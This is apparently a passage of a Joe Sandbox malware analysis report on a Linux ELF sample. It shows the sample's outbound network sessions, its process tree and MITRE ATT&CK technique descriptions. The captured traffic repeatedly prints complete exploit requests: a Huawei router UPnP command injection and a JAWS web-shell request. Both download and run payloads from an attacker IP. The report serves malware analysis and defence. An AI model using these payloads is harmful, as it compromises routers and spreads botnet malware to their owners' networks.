xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	51930	156.68.78.167	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.794687986 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	58938	156.4.15.233	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.795181036 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	60326	41.237.246.27	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.795744896 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	46660	41.37.81.88	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.796247005 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	54210	197.120.164.60	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:26.796760082 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	38866	53.2.196.30	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:27.566015005 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	44958	75.254.147.50	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:27.566894054 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	58752	95.231.217.193	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:27.567517996 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	49348	13.92.149.139	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:27.568171024 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	59352	156.221.166.16	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:28.693505049 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	54438	168.19.35.119	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:28.696506023 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	50570	191.145.49.217	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:28.704154968 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

System Behavior

Analysis Process: arm7.elf PID: 5509, Parent PID: 5436

General

Start time (UTC):	20:47:17
Start date (UTC):	03/12/2024
Path:	/tmp/arm7.elf
Arguments:	/tmp/arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:47:17
Start date (UTC):	03/12/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:47:17
Start date (UTC):	03/12/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:47:17
Start date (UTC):	03/12/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:47:17
Start date (UTC):	03/12/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	20:47:17
Start date (UTC):	03/12/2024
Path:	/tmp/arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: arm7.elf PID: 5509, Parent PID: 5436

General

Chronological Activities

Analysis Process: arm7.elf PID: 5511, Parent PID: 5509

General

Chronological Activities

Analysis Process: arm7.elf PID: 5513, Parent PID: 5511

General

Chronological Activities

Analysis Process: arm7.elf PID: 5515, Parent PID: 5511

General

Chronological Activities

Analysis Process: arm7.elf PID: 5517, Parent PID: 5511

General

Linux Analysis Report
arm7.elf